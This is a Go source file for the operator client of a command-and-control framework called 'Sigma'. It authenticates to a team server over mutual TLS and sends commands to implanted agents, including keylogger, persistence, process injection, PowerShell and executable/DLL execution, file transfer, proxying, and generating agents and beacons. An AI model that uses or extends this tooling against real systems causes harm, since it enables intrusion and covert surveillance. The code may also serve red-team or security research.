package main

import (
	"crypto/tls"
	"crypto/x509"
	"flag"
	"fmt"
	"io"
	"log"
	"os"
	"slices"
	"strings"

	"github.com/chzyer/readline"
)

// Default server address
var defaultServerAddr = "127.0.0.1:8080"

// Path to certificates
var clientCertPath = "certificates/client.crt"
var clientKeyPath = "certificates/client.key"
var caCertPath = "certificates/ca.crt"

// Available commands fpr tab completion in main context
var availableClobalCommands = []struct {
	command     string
	subcommands map[string][]string
}{
	{"agents", nil},
	{"show", map[string][]string{
		"agent":     {""}, // Updated dynamically
		"tasks":     {""}, // Updated dynamically
		"listeners": nil,
		"modules":   nil,
	}},
	{"clear", map[string][]string{
		"tasks": {""}, // Updated dynamically
	}},
	{"listen", map[string][]string{
		"-t":          {"ssl", "tcp", "dns"},
		"--transport": {"ssl", "tcp", "dns"},
		"-h":          {""},
		"--host":      {""},
		"-p":          {""},
		"--port":      {""},
		"-n":          {""},
		"--name":      {""},
	}},
	{"modules", nil},
	{"stop", map[string][]string{
		"listener": {""}, // Updated dynamically
	}},
	{"generate", map[string][]string{
		"agent":  {""}, // Updated dynamically
		"beacon": {""}, // Updated dynamically
	}},
	{"interact", map[string][]string{
		"": {""}, // Updated dynamically
	}},
	{"exit", nil},
}

// Available commands fpr tab completion in agent context
var availableContextCommands = []struct {
	command     string
	subcommands map[string][]string
}{
	{"agents", nil},
	{"show", map[string][]string{
		"agent":   {""}, // Updated dynamically
		"tasks":   {""}, // Updated dynamically
		"modules": nil,
	}},
	{"clear", map[string][]string{
		"tasks": {""}, // Updated dynamically
	}},
	{"sleep", map[string][]string{"": {""}}},
	{"cmd", map[string][]string{"": {""}}},
	{"powershell", map[string][]string{"": {""}}},
	{"runexe", map[string][]string{"": {""}}},
	{"rundll", map[string][]string{"": {""}}},
	{"sysinfo", map[string][]string{"": {""}}},
	{"files", map[string][]string{"": {""}}},
	{"artifacts", map[string][]string{"": {""}}},
	{"cd", map[string][]string{"": {""}}},
	{"ls", map[string][]string{"": {""}}},
	{"pwd", map[string][]string{"": {""}}},
	{"dir", map[string][]string{"": {""}}},
	{"inject", map[string][]string{"": {""}}},
	{"spawn", map[string][]string{"": {""}}},
	{"keylogger", map[string][]string{
		"start": {""},
		"stop":  {""},
	}},
	{"persistence", map[string][]string{
		"add":    {""},
		"remove": {""},
	}},
	{"download", map[string][]string{"": {""}}},
	{"upload", map[string][]string{"": {""}}},
	{"proxy", map[string][]string{
		"start": {""},
		"stop":  {""},
	}},
	{"kill", map[string][]string{"": {""}}},
	{"cleanup", map[string][]string{"": {""}}},
}

// Commands which agentID is appended to
var contextCommands = []string{
	"sleep", "cmd", "powershell", "runexe", "rundll", "sysinfo", "files", "keylogger",
	"persistence", "download", "upload", "artifacts", "kill", "cleanup",
	"exit", "cd", "ls", "pwd", "dir", "proxy", "ps", "inject", "spawn",
}

// To store list of agents for tab completion
var agents []string

// Empty when in main context
var currentAgentContext string

// Update available listener names for "generate agent" and "generate beacon" and for "stop listeners"
func UpdateListenersSubCommands(listeners []string) {
	for i := range availableClobalCommands {
		switch availableClobalCommands[i].command {
		case "generate":
			availableClobalCommands[i].subcommands["agent"] = listeners
			availableClobalCommands[i].subcommands["beacon"] = listeners
		case "stop":
			availableClobalCommands[i].subcommands["listener"] = listeners
		}
	}
}

// Update available commands to auto-complete agent names
func UpdateAgentsSubCommands(agentList []string) {
	agents = agentList
	for i := range availableClobalCommands {
		switch availableClobalCommands[i].command {
		case "show":
			availableClobalCommands[i].subcommands["agent"] = agentList
			availableClobalCommands[i].subcommands["tasks"] = agentList
		case "clear":
			availableClobalCommands[i].subcommands["tasks"] = agentList
		case "interact":
			availableClobalCommands[i].subcommands[""] = agentList
		}
	}
}

// Build tab completer
func getCompleter() *readline.PrefixCompleter {
	var items []readline.PrefixCompleterInterface

	if currentAgentContext != "" {
		// Agent context: include context commands, exit, and interact
		for _, cmd := range availableContextCommands {
			if cmd.subcommands != nil {
				var subItems []readline.PrefixCompleterInterface
				for sub, subsub := range cmd.subcommands {
					if sub == "" {
						for _, s := range subsub {
							subItems = append(subItems, readline.PcItem(s))
						}
					} else {
						nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
						for i, subsubCmd := range subsub {
							nestedItems[i] = readline.PcItem(subsubCmd)
						}
						subItems = append(subItems, readline.PcItem(sub, nestedItems...))
					}
				}
				items = append(items, readline.PcItem(cmd.command, subItems...))
			} else {
				items = append(items, readline.PcItem(cmd.command))
			}
		}
		// Add exit and interact explicitly
		items = append(items, readline.PcItem("exit"))
		var interactSubItems []readline.PrefixCompleterInterface
		for _, agent := range agents {
			interactSubItems = append(interactSubItems, readline.PcItem(agent))
		}
		items = append(items, readline.PcItem("interact", interactSubItems...))
	} else {
		// Main context: include global commands and agent IDs with context commands
		// Add global commands
		for _, cmd := range availableClobalCommands {
			if cmd.subcommands != nil {
				var subItems []readline.PrefixCompleterInterface
				for sub, subsub := range cmd.subcommands {
					if sub == "" {
						for _, s := range subsub {
							subItems = append(subItems, readline.PcItem(s))
						}
					} else {
						nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
						for i, subsubCmd := range subsub {
							nestedItems[i] = readline.PcItem(subsubCmd)
						}
						subItems = append(subItems, readline.PcItem(sub, nestedItems...))
					}
				}
				items = append(items, readline.PcItem(cmd.command, subItems...))
			} else {
				items = append(items, readline.PcItem(cmd.command))
			}
		}

		// Add agent IDs with context commands as subcommands
		for _, agent := range agents {
			var agentSubItems []readline.PrefixCompleterInterface
			for _, cmd := range availableContextCommands {
				if cmd.subcommands != nil {
					var subItems []readline.PrefixCompleterInterface
					for sub, subsub := range cmd.subcommands {
						if sub == "" {
							for _, s := range subsub {
								subItems = append(subItems, readline.PcItem(s))
							}
						} else {
							nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
							for i, subsubCmd := range subsub {
								nestedItems[i] = readline.PcItem(subsubCmd)
							}
							subItems = append(subItems, readline.PcItem(sub, nestedItems...))
						}
					}
					agentSubItems = append(agentSubItems, readline.PcItem(cmd.command, subItems...))
				} else {
					agentSubItems = append(agentSubItems, readline.PcItem(cmd.command))
				}
			}
			items = append(items, readline.PcItem(agent, agentSubItems...))
		}
	}

	return readline.NewPrefixCompleter(items...)
}

// Prepares the TLS configuration for secure connection
func setupTLSConfig() (*tls.Config, error) {
	// Load CA certificate
	caCert, err := os.ReadFile(caCertPath)
	if err != nil {
		return nil, fmt.Errorf("failed to read CA certificate: %v", err)
	}

	caCertPool := x509.NewCertPool()
	if !caCertPool.AppendCertsFromPEM(caCert) {
		return nil, fmt.Errorf("failed to append CA certificate to pool")
	}

	// Load client certificate and key
	clientCert, err := tls.LoadX509KeyPair(clientCertPath, clientKeyPath)
	if err != nil {
		return nil, fmt.Errorf("failed to load client certificate and key: %v", err)
	}

	// Configure TLS
	return &tls.Config{
		Certificates:       []tls.Certificate{clientCert},
		RootCAs:            caCertPool,
		InsecureSkipVerify: false, // Ensure server's certificate is validated
	}, nil
}

// Establishes a secure connection to the server
func connectToServer(serverAddr string, tlsConfig *tls.Config) (*tls.Conn, error) {
	conn, err := tls.Dial("tcp", serverAddr, tlsConfig)
	if err != nil {
		return nil, fmt.Errorf("error connecting to server: %v", err)
	}

	fmt.Println("Connected to server")
	return conn, nil
}

// Pretty simple authentication of user with the server
func authenticateUser(conn *tls.Conn, userID, password string) error {
	fmt.Println("Starting authentication")

	// Send authentication message
	authMessage := fmt.Sprintf("AUTH:%s:%s", userID, password)
	_, err := conn.Write([]byte(authMessage))
	if err != nil {
		return fmt.Errorf("error sending credentials: %v", err)
	}

	// Receive server response
	buffer := make([]byte, 4096)
	n, err := conn.Read(buffer)
	if err != nil {
		return fmt.Errorf("error reading from server: %v", err)
	}

	response := string(buffer[:n])
	if response == "AUTH_OK" {
		fmt.Println("Auth successful. You can now issue commands.")
		return nil
	}

	return fmt.Errorf("authentication failed")
}

// Configure readline interface
func setupReadline() (*readline.Instance, error) {
	rlConfig := &readline.Config{
		Prompt:                 "\033[31mSigma >\033[0m ", // Colored prompt
		HistoryFile:            "/tmp/operator_history.txt",
		AutoComplete:           getCompleter(),
		InterruptPrompt:        "^C",
		DisableAutoSaveHistory: false,
		HistorySearchFold:      true,
		UniqueEditLine:         true,
	}

	rl, err := readline.NewEx(rlConfig)
	if err != nil {
		return nil, fmt.Errorf("error initializing readline: %v", err)
	}

	rl.SetVimMode(false)
	return rl, nil
}

// Goroutine to listen for server messages
func startServerListener(conn *tls.Conn, rl *readline.Instance, exitChan chan struct{}) {
	go func() {
		for {
			serverMsg := make([]byte, 4096)
			n, err := conn.Read(serverMsg)
			if err != nil {
				fmt.Println("Connection to server lost:", err)
				close(exitChan)
				return
			}

			// Parse the server message
			message := string(serverMsg[:n])
			handleServerMessage(message, rl)
		}
	}()
}

// Processes messages received from the server
func handleServerMessage(message string, rl *readline.Instance) {
	// Tab-completion update with listeners
	if strings.HasPrefix(message, "LISTENERS_UPDATE:") {
		// Extract the listener names from the message
		listeners := strings.Split(strings.TrimPrefix(message, "LISTENERS_UPDATE:"), ",")

		// Update subcommands
		UpdateListenersSubCommands(listeners)

		// Rebuild the tab completion
		rl.Config.AutoComplete = getCompleter()
		rl.Refresh()

		// Tab-completion update with new agents
	} else if strings.HasPrefix(message, "AGENTS_UPDATE:") {
		// Extract the agent names from the message
		agents = strings.Split(strings.TrimPrefix(message, "AGENTS_UPDATE:"), ",")

		// Update subcommands
		UpdateAgentsSubCommands(agents)

		// Rebuild the tab completion
		rl.Config.AutoComplete = getCompleter()
		rl.Refresh()

		// Handle usual messages
	} else {
		fmt.Print("\r\033[K") // Clears the line and the prompt
		fmt.Println("\n" + message)
		rl.Refresh() // Refresh readline input
	}
}

// Handles operator commands and context switching
func processCommand(command string, conn *tls.Conn, rl *readline.Instance) bool {
	if command == "" {
		return false
	}

	// Handle exit command
	if command == "exit" {
		if currentAgentContext != "" {
			// Exit from agent context
			currentAgentContext = ""
			rl.SetPrompt("\033[31mSigma >\033[0m ")

			// Update tab completion after context change
			rl.Config.AutoComplete = getCompleter()
			return false
		} else {
			// Exit from application
			fmt.Println("Exiting...")
			conn.Write([]byte(command))
			return true
		}
	}

	// Handle interact command
	if strings.HasPrefix(command, "interact") {
		handleInteractCommand(command, rl)
		return false
	}

	// Handle command in agent context
	if currentAgentContext != "" && isControlCommand(command) {
		command = currentAgentContext + " " + command
	}

	// Send command to server
	_, err := conn.Write([]byte(command))
	if err != nil {
		fmt.Printf("Error sending command: %v", err)
		return true
	}

	return false
}

// Check if command is a task for agent
func isControlCommand(command string) bool {
	// Split the command into words
	parts := strings.Fields(command)
	if len(parts) == 0 {
		fmt.Println("Empty command :(")
		return false
	}

	// Check if the first word is a context command
	if slices.Contains(contextCommands, parts[0]) {
		return true
	} else {
		return false
	}
}

// Processes the interact command for agent context switching
func handleInteractCommand(command string, rl *readline.Instance) {
	cmd := strings.Fields(command)

	if len(cmd) != 2 {
		fmt.Println("Usage: interact <agent_id>")
		return
	}

	if !slices.Contains(agents, cmd[1]) {
		fmt.Println("Agent not found!")
		return
	}

	// Set new agent context
	currentAgentContext = cmd[1]

	// Update tab completion
	rl.Config.AutoComplete = getCompleter()

	// Update prompt with agent context
	newPrompt := fmt.Sprintf("\033[31mSigma [%s] >\033[0m ", currentAgentContext)
	rl.SetPrompt(newPrompt)
}

// Executes the main command processing loop
func runCommandLoop(conn *tls.Conn, rl *readline.Instance, exitChan chan struct{}) {
	for {
		select {
		case <-exitChan:
			fmt.Println("Exiting due to lost connection.")
			return
		default:
			line, err := rl.Readline()
			if err != nil {
				if err == readline.ErrInterrupt {
					if len(line) == 0 {
						fmt.Println("\nExiting...")
						return
					}
					continue
				} else if err == io.EOF {
					fmt.Println("\nExiting...")
					return
				}
				fmt.Printf("Error reading line: %v", err)
				continue
			}

			command := strings.TrimSpace(line)
			shouldExit := processCommand(command, conn, rl)
			if shouldExit {
				return
			}
		}
	}
}

func main() {
	// Define flags for username, password and address of server
	operatorPassword := flag.String("p", "", "Password")
	operatorID := flag.String("u", "", "Username")
	serverAddr := flag.String("ip", defaultServerAddr, "IP and port of server")
	flag.Parse()

	// Check if password and username are provided
	if *operatorPassword == "" || *operatorID == "" {
		fmt.Println("Usage: client.exe -u <username> -p <password> -ip <ip:port>")
		return
	}
	fmt.Println("Client's username and password provided")

	// Setup TLS
	tlsConfig, err := setupTLSConfig()
	if err != nil {
		log.Fatalf("TLS setup failed: %v", err)
	}

	// Connect to server
	conn, err := connectToServer(*serverAddr, tlsConfig)
	if err != nil {
		log.Fatalf("Server connection failed: %v", err)
	}
	defer conn.Close()

	// Authenticate
	err = authenticateUser(conn, *operatorID, *operatorPassword)
	if err != nil {
		log.Fatalf("Authentication failed: %v", err)
	}

	// Setup readline
	rl, err := setupReadline()
	if err != nil {
		log.Fatalf("Readline setup failed: %v", err)
	}
	defer rl.Close()

	// Create exit channel
	exitChan := make(chan struct{})

	// Start server message listener
	startServerListener(conn, rl, exitChan)

	// Run main command loop
	runCommandLoop(conn, rl, exitChan)
}
